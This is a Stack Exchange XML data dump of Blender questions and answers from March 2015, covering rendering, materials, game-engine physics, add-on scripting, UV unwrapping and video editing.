  <row Id="27845" PostTypeId="1" CreationDate="2015-03-29T19:42:40.043" Score="3" ViewCount="401" Body="&lt;p&gt;How can I activate X Ray to an object in BGE?&#xA;so, it will always be visible, even when other objects are over.&#xA;I tried activating X-RAY option in Object tab, Display. I also red about using Z-Offset in materials, but that don't worked.&lt;/p&gt;&#xA;" OwnerUserId="13475" LastEditorUserId="13475" LastEditDate="2015-03-29T20:46:59.960" LastActivityDate="2021-05-21T19:03:25.290" Title="Use X Ray in BGE" Tags="&lt;game-engine&gt;&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27846" PostTypeId="1" CreationDate="2015-03-29T20:13:12.737" Score="2" ViewCount="5377" Body="&lt;p&gt;I am an inexperienced user of blender, and created a scene of a manikin using blender  2.69 and rendered it using cycles  to produce a .png image which I was very happy with. I wanted to progress further and incorporate the use of Halo particles with this scene, but discovered that cycles will not render halo particles. (I looked at the 'dupli'  option but this won't give the same effect as a BI halo particle when rendered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1 - will the new version of blender  - v 2.74  using Cycles render halo particles or do I have to retreat to Blender Internal - BI (Blender render).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it probably won't, I opened my blender file and attempted to render my scene using blender Internal.  The result was  a complete blacked out manikin and only a white floor visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2.  Am I going to have to start all over again, because I need to use the halo features of BI and using cycles seemed to have put me up a blind alley, or is there something on my current file that I could change/focus on so I can get it to render (and therefore use the halo features) with BI.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yX6f.png&quot; alt=&quot;cycles rendered image of manikin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovDek.jpg&quot; alt=&quot;blender render attempt of same file!! &quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13055" LastActivityDate="2016-01-23T23:44:56.863" Title="Blender cycles won't render halo particles" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2016-01-24T00:59:28.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="27847" PostTypeId="1" CreationDate="2015-03-29T20:54:52.650" Score="0" ViewCount="74" Body="&lt;p&gt;I'm applying a linear velocity to an object. Sometimes it collides with other objects and bounces some distance. I need to detect when my character stop.&#xA;What I did was assign to a property the character's X + Y positions and, with a property sensor, detect if changes that property.&#xA;The problem is that the object is apparently stopped, but the property still changing, specifically, because the X position is continuosly changing.&lt;/p&gt;&#xA;" OwnerUserId="13475" LastEditorUserId="13475" LastEditDate="2015-03-29T20:59:58.140" LastActivityDate="2015-03-30T13:56:53.347" Title="Object is stopped but its position still changing" Tags="&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27848" PostTypeId="1" CreationDate="2015-03-29T21:04:41.683" Score="2" ViewCount="217" Body="&lt;p&gt;Please can someone explain how to mix materials based on viewing angle in luxrender in a similar way to Cycles which uses the layer weight node. I would like to be able to combine several materials with the mix defined by the angle of the camera to the objects surface. Unfortunately Luxrender doesn't seem to have a layer weight node and I can't get the fresnel nodes to work to control a mix material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="13477" LastActivityDate="2015-07-27T13:02:59.360" Title="Luxrender - Mixing materials using layer weight" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27849" PostTypeId="1" CreationDate="2015-03-29T21:22:00.600" Score="0" ViewCount="431" Body="&lt;p&gt;I have a simple operator that prints out the string &quot;Testing operator&quot;. I change the string to &quot;Testing updated file&quot;, then go to Blender and press F8 to reload the script. I run the operator, but I still get &quot;Testing operator&quot;, and not the updated string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the script in a separate folder (not in the Blender script path), and have installed the addon through Blender's &quot;Install from file&quot;. The script is only one file, and I'm editing it in Notepad++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to reinstall the addon, the update takes place. However, restarting Blender does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is thus: how can I make the refresh function work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The reason I don't have the script in Blender's script path, is that the script can easily be deleted by accident.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code if necessary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot; : &quot;Import addon&quot;,&#xA;    &quot;author&quot; : &quot;Naioai Studios&quot;,&#xA;    &quot;version&quot; : (1, 0, 0),&#xA;    &quot;blender&quot; : (2, 7, 2),&#xA;    &quot;location&quot; : &quot;View 3D &amp;gt; Edit Mode &amp;gt; Tool Shelf&quot;,&#xA;    &quot;description&quot; :&#xA;        &quot;Allows for semi-automatic shipping&quot;,&#xA;    &quot;warning&quot; : &quot;&quot;,&#xA;    &quot;wiki_url&quot; : &quot;&quot;,&#xA;    &quot;tracker_url&quot; : &quot;&quot;,&#xA;    &quot;category&quot; : &quot;1_Custom&quot;,&#xA;    'support': 'COMMUNITY'&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;def main():&#xA;    print(&quot;Testing updated flflflflf&quot;)&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Import addon for stickmen models&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.import_stickman&quot;&#xA;    bl_label = &quot;Import stickman&quot;&#xA;&#xA;    def execute(self, context):&#xA;        main()&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    #test call&#xA;    bpy.ops.object.import_stickman()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2015-03-29T21:41:30.990" LastActivityDate="2015-03-29T21:41:30.990" Title="Addon not updating when pressing F8" Tags="&lt;python&gt;&lt;add-on&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27850" PostTypeId="1" CreationDate="2015-03-29T21:41:46.867" Score="2" ViewCount="2532" Body="&lt;p&gt;How to turn off pressure sensitivity for grease pencil with a tablet?&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="12" LastEditDate="2015-03-30T03:30:23.923" LastActivityDate="2016-04-06T17:35:57.490" Title="How to turn off pressure sensitivity for grease pencil with a tablet?" Tags="&lt;customization&gt;&lt;grease-pencil&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27851" PostTypeId="1" CreationDate="2015-03-29T21:56:54.883" Score="0" ViewCount="54" Body="&lt;p&gt;I am using 2.74RC but get the same results with 2.73 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add an Environmental Texture HDR it shows in the World Preview. It also shows in the final render BUT it doesn't show in a SHIFT-Z render although it appears to be &quot;there&quot; because the colours vary if I rotate the scene. Same thing for &quot;Solid&quot; mode if I check &quot;World Background&quot; under the Display tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another model I have the World Background DOES show in &quot;Solid&quot; mode and in a final render but again not in SHIFT-Z (Render) mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that I am missing?&lt;/p&gt;&#xA;" OwnerUserId="13171" LastActivityDate="2015-03-29T21:56:54.883" Title="Confused as to how World Background HDR works" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-03-30T03:54:37.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="27853" PostTypeId="2" ParentId="27835" CreationDate="2015-03-29T22:40:00.747" Score="1" Body="&lt;p&gt;Be aware that you can get a bit lost in meta-strip-ception. That is deep meta strip embeds. You step in by selecting the metastrip and Tab keying. But they all look similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that you carefully name metastrips via properties and even add a simple color strip below the active video strip. This is to give you a visual que as to which meta you are inside.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-03-29T22:40:00.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27854" PostTypeId="1" CreationDate="2015-03-29T22:58:45.807" Score="0" ViewCount="68" Body="&lt;p&gt;I found that when rendering my Earth model from a distance, these patterns appear. I've checked and adjusted the clipping distances multiple times to see if it was a form of Z Fighting but it was not, and I've also removed doubles from all objects in the scene, each had 0 doubles. I'm not quite sure what's making this happen. Any suggestions I could try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/00W16.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2015-03-29T22:58:45.807" Title="Fragment pattern appears in render from a distance" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27855" PostTypeId="1" CreationDate="2015-03-29T23:06:59.080" Score="3" ViewCount="2002" Body="&lt;p&gt;Sorry if this is a noob question but I started using Blender today as a free video editor and now that I'm rendering my project, it's taking a lot longer than I was expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project is basically splicing two 1920x1080, 60fps videos into one, 6-minute video with a simple fade out/fade in transition between the two videos and I have everything set up to use the correct resolution and FPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I'm rendering at about 20fps (so about 3x realtime) while my CPU utilization is at 15% so I can't help but feel this could be going much faster if I found a way to increase my CPU usage.  I'm curious if I've failed to select the optimal settings for my system or if this is just par for the course with Blender's video encoder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intel i7 4790k &lt;/li&gt;&#xA;&lt;li&gt;Nvidia GTX 970 &lt;/li&gt;&#xA;&lt;li&gt;16GB DDR3 2400mhz &lt;/li&gt;&#xA;&lt;li&gt;Blender 2.73a&lt;/li&gt;&#xA;&lt;li&gt;H.264 encoder with default profile and bitrate set to 30000kbps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13479" LastActivityDate="2018-08-14T01:30:08.797" Title="Poor performance with h.264 VSE" Tags="&lt;video-sequence-editor&gt;&lt;performance&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27856" PostTypeId="2" ParentId="27850" CreationDate="2015-03-30T02:01:24.983" Score="3" Body="&lt;p&gt;For Wacom tablets (I don't know about others) you can set pressure sensitivity at OS level using the control panel (not blender's user preferences). You can customize the behaviour for different applications, so you can have blender have specific settings to your particular needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lqOBA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-30T02:15:01.557" LastActivityDate="2015-03-30T02:15:01.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27858" PostTypeId="2" ParentId="11040" CreationDate="2015-03-30T05:02:09.100" Score="4" Body="&lt;p&gt;Going off &lt;a href=&quot;https://blender.stackexchange.com/a/11041/12761&quot;&gt;this&lt;/a&gt; answer, you can just input &lt;code&gt;1e39&lt;/code&gt; to get &lt;code&gt;inf&lt;/code&gt;, since Blender will clip it off to &lt;code&gt;float_info.max&lt;/code&gt;.  Likewise, you can use &lt;code&gt;-1e39&lt;/code&gt; to get &lt;code&gt;-inf&lt;/code&gt;.  (If those don't get you &lt;code&gt;inf&lt;/code&gt; values, just raise the exponent after the &lt;code&gt;e&lt;/code&gt; until they do.)&lt;/p&gt;&#xA;" OwnerUserId="12761" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-03-30T05:02:09.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27859" PostTypeId="1" AcceptedAnswerId="27860" CreationDate="2015-03-30T05:12:12.583" Score="6" ViewCount="12793" Body="&lt;p&gt;I have a Blender project with planes with image textures on them, but the images aren't being loaded. I'm pretty sure I have the images as well, but the person who uploaded all this apparently didn't keep the original folder structure. Where can I see (or edit) the file location for the images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that I'm a new user.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13484" LastEditorUserId="55" LastEditDate="2015-03-30T09:27:26.963" LastActivityDate="2016-12-20T23:36:13.423" Title="How to re-link files which have paths that have become invalid (can't be found)?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27860" PostTypeId="2" ParentId="27859" CreationDate="2015-03-30T05:16:12.547" Score="7" Body="&lt;p&gt;To re-link missing files, open file menu, then choose &lt;em&gt;External Data -&gt; Find Missing Files&lt;/em&gt;, and select the folder where the image textures are located. File names have to be the same as they are in the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are found based on matching names, the folder is searched recursively, so you can for example point it at the base of your project path, to perform a more extensive search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8Vr0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-20T23:36:13.423" LastActivityDate="2016-12-20T23:36:13.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27861" PostTypeId="1" CreationDate="2015-03-30T05:21:27.583" Score="1" ViewCount="4030" Body="&lt;p&gt;I am new to blender, when i try to uv unwrap my mesh, blender hangs and become unresponsive. the mesh has nearly 35000 faces. it is a subdivided sphere which i used for sculpting. &#xA;when i uv unwrap a simple cube , it works fine. is there a workaround for this, or a better alternative way to apply texture?&lt;/p&gt;&#xA;" OwnerUserId="8036" LastActivityDate="2018-09-02T12:00:58.577" Title="when i try to uv unwrap my mesh , blender hangs and become unresponsive, why?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27863" PostTypeId="1" CreationDate="2015-03-30T10:05:26.620" Score="5" ViewCount="1180" Body="&lt;p&gt;I am making a new animation for a company, based on their previous version that I have received. The previous version is at some arbitrary scale, but since I am updating and adding geometry (new product) it would be nice to have the scene to scale. (1 blender unit = 1m) Just resizing everything is not enough, as some objects pop back in place &amp;amp; size due to animation keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to scale the whole scene, including camera animation, textures etc. so that I can work on it &quot;to scale&quot;?&lt;/p&gt;&#xA;" OwnerUserId="11637" LastActivityDate="2015-03-30T10:50:26.143" Title="How would I scale an animated scene?" Tags="&lt;animation&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-30T14:40:43.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="27864" PostTypeId="2" ParentId="27863" CreationDate="2015-03-30T10:24:48.523" Score="3" Body="&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; and patent all the objects to it. Then scale the empty.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vIfqO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jwadF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-30T10:50:26.143" LastActivityDate="2015-03-30T10:50:26.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27866" PostTypeId="1" AcceptedAnswerId="27870" CreationDate="2015-03-30T10:48:21.407" Score="4" ViewCount="598" Body="&lt;ol&gt;&#xA;&lt;li&gt;How to move a node group from one scene to another?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to move a shader node tree from one scene to another, or for that I have to merge the nodes in a group?&#xA;Thanks in advance!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2015-03-30T11:23:07.463" Title="Moving nodes between scenes" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27868" PostTypeId="1" AcceptedAnswerId="27926" CreationDate="2015-03-30T10:57:42.917" Score="3" ViewCount="1503" Body="&lt;p&gt;Situation: I have a project with 20+ scenes and hundreds of text objects in random places (a song).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to put the text object data (text itself) into a text file(s), to edit externally without the need of searching the object inside blender? So that edited and saved text file will update the objects in project on restart of blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: text objects aren't keyframed (if that makes a change). &lt;/p&gt;&#xA;" OwnerUserId="13486" LastActivityDate="2015-04-01T12:27:35.800" Title="Can I store text object data in external file?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27869" PostTypeId="2" ParentId="27774" CreationDate="2015-03-30T11:07:12.220" Score="2" Body="&lt;p&gt;running blender -b -P script.py will start blender in background mode, notice the -b option.&#xA;For that reason all Viewer nodes will be deactivated and set to default size 256*256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing the -b option.&lt;/p&gt;&#xA;" OwnerUserId="11026" LastActivityDate="2015-03-30T11:07:12.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27870" PostTypeId="2" ParentId="27866" CreationDate="2015-03-30T11:23:07.463" Score="2" Body="&lt;p&gt;To create a new scene with the same nodes, click on 'plus' icon and choose the &lt;em&gt;Link Object Data&lt;/em&gt; option.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kwDmP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have two different scenes, you can copy the nodes from one to another. Select them and copy with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, then paste to the new scene.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v2JNL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In every scene you have the access to the all created material nodes. Just click on material browser and choose the desired material.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vlQnZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-03-30T11:23:07.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27872" PostTypeId="1" AcceptedAnswerId="27891" CreationDate="2015-03-30T11:57:15.600" Score="1" ViewCount="509" Body="&lt;p&gt;I have about 300 shapekeys and want set all of them to value 0.5 or 1. Is there a fast way to do it?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-03-30T16:21:00.540" Title="How to set a specific value for multiple shape keys?" Tags="&lt;editing&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27873" PostTypeId="1" CreationDate="2015-03-30T12:00:13.663" Score="5" ViewCount="579" Body="&lt;p&gt;I'm a new user of Blender, but I have 10 years experience of 3d development (mainly C++/OpenGL, but I know Python pretty well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I plan to use Blender as a replacement tool for the &quot;good old ones we made by hand&quot; in my company. These tools are made to prepare 3D model before importing them in our &quot;scientific rendering and computation&quot; softwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender offers all the geometry edition tools we need, but we also need specific data, such as surface temperatures, coverages maps, algorithms parameters in vertex attributes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any built-in way in blender to add and edit a texture in a specific &quot;OpenGL&quot; format (for example, a single channel 32 bits float texture) and mark it as &quot;custom texture 1&quot; or &quot;custom texture 2&quot;... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I make an add-on for this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same for vertex attributes : is there any built-in way in blender to add and edit a custom vertex attribute or should I make an add-on for this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13490" LastActivityDate="2015-03-30T12:00:13.663" Title="Add custom textures and vertex attributes" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27874" PostTypeId="1" AcceptedAnswerId="27885" CreationDate="2015-03-30T12:44:18.340" Score="5" ViewCount="487" Body="&lt;p&gt;I want the specularity of my Earth model to turn off after a certain distance from the camera as, in reality, the sun's reflection from the water soon fades the further you get from it. I want this same affect to apply to my model. Are there ways of doing  this?&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="599" LastEditDate="2015-03-30T17:07:10.550" LastActivityDate="2020-10-21T14:52:00.310" Title="Control an object's specularity with distance" Tags="&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27875" PostTypeId="1" AcceptedAnswerId="27892" CreationDate="2015-03-30T13:13:01.567" Score="2" ViewCount="178" Body="&lt;p&gt;So continuing from my many Earth posts, I've now come to the dilemma of my night side. I'm currently using a texture that's around 52000x32000 which is perfect, can't go lower than that, and it was pre stitched together, however, the land is dark blue. I want this to be completely gone with just the lights showing. I remember seeing someone post on Blenderguru's Earth tutorial that they managed to do it but they couldn't remember the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any chance anyone out there would know how? Rule out photoshop or finding a new texture as I've tried both. Other textures online are either of a lower pixel density or need stitching which my computer can't handle. I've tried removing the darkness and keeping the lights in photoshop with the already stitched image but my computer can't run it with such a high amount of pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried messing with the image adjustments within Blender but have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sjh4K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Ay3Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditDate="2015-03-30T13:59:19.767" LastActivityDate="2020-10-21T14:52:45.490" Title="Getting rid of colours in textures" Tags="&lt;texturing&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27877" PostTypeId="2" ParentId="27855" CreationDate="2015-03-30T13:44:34.037" Score="4" Body="&lt;p&gt;As far as I know, the Sequencer has no multi-core support in the final rendering. (Surprisingly it has it for rendering proxy files). Also GPU rendering isn't available either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found a recent thread in which &lt;a href=&quot;https://lists.blender.org/pipermail/bf-committers/2015-February/044938.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;a dev claims to work on multi-core&lt;/a&gt; support, so maybe it will come in the future. I definitely would appreciate such a feature.&lt;/p&gt;&#xA;" OwnerUserId="11435" LastEditorUserId="11435" LastEditDate="2018-08-14T01:30:08.797" LastActivityDate="2018-08-14T01:30:08.797" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27878" PostTypeId="1" AcceptedAnswerId="27923" CreationDate="2015-03-30T13:54:55.250" Score="6" ViewCount="1912" Body="&lt;p&gt;Is there a fast way (without looping over all edges/faces/verts) using &lt;code&gt;ops.mesh&lt;/code&gt; or &lt;code&gt;bmesh&lt;/code&gt; to get the lists of indices associated with mesh islands as shown below? These islands are part of one mesh but are disjoint from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gexrl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to select the boundaries by running the operator &lt;em&gt;Select boundary Loop&lt;/em&gt; or calling &lt;code&gt;bpy.ops.mesh.region_to_loop()&lt;/code&gt; but can't find any API calls to return the vert/edge/face indices associated with the individual islands.&lt;/p&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="47" LastEditDate="2015-04-02T14:06:48.667" LastActivityDate="2016-12-14T10:27:55.800" Title="Finding the lists of connected indices associated with disjoint mesh elements" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27880" PostTypeId="1" CreationDate="2015-03-30T13:58:33.077" Score="2" ViewCount="666" Body="&lt;p&gt;I have a cube that I have cut into triangles with a boolean modifier. I have animated this shape to open out in various ways and begun adding images/ materials onto the sides of this shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some materials have stretched, usually I would double check the material is assigned correctly and made sure I have done UV unwrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cm3S8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot shows what is seen when rendered and what it's meant to look like. All of those pieces of the shape should be correct but two aren't on this side, and are incorrect on a few others as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway I can rectify this or is there someway someone can take a look?&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2015-10-29T00:24:15.263" Title="Problem: material has stretched on side of shape" Tags="&lt;materials&gt;&lt;uv&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27881" PostTypeId="2" ParentId="27880" CreationDate="2015-03-30T15:13:21.537" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Only select all the faces on that side of the cube.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 7&lt;/kbd&gt; to &lt;a href=&quot;https://blender.stackexchange.com/a/15046/2217&quot;&gt;align the view to the faces&lt;/a&gt; (if you have not rotated the cube simply switching to one of the &lt;a href=&quot;http://www.blender.org/manual/editors/3dview/navigate/3d_view.html#rotating-the-view&quot; rel=&quot;nofollow noreferrer&quot;&gt;main views&lt;/a&gt; will work.).&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Project from View (Bounds)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-10-29T00:24:15.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27882" PostTypeId="2" ParentId="27880" CreationDate="2015-03-30T15:14:53.363" Score="1" Body="&lt;p&gt;I decided to explore a bit and found that while having the vertices selected, select Mesh &gt; vertices &gt; delete doubles worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other examples I found hadn't worked in my case but thank you for the suggestions.&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2015-03-30T15:14:53.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27883" PostTypeId="1" CreationDate="2015-03-30T15:15:07.043" Score="0" ViewCount="115" Body="&lt;p&gt;I have done some animations on my Mac pro using blender 2.72. However, my laptop has not GPU. So, I am using an other linux pc to do the rendering using blender 2.71. Unfortunately, the animation does not work as expected on linux machine.&#xA;I remark that the armature animation is the same and work as on my Laptop, but the clothes and body does not follow the animation. What is the problem and How can I fix it ? &lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-03-30T15:55:49.860" LastActivityDate="2015-03-30T17:16:42.133" Title="Animation on blender 2.72 does not work on blender 2.71" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-03-30T18:06:30.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="27884" PostTypeId="1" CreationDate="2015-03-30T15:22:28.013" Score="2" ViewCount="20" Body="&lt;p&gt;My timeline has moved to the top window on my project somehow.  How do I move it to the bottom of the layout?&lt;/p&gt;&#xA;" OwnerUserId="13495" LastActivityDate="2015-03-30T15:22:28.013" Title="How to move my timeline window?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-03-30T16:36:17.203" ContentLicense="CC BY-SA 3.0" />
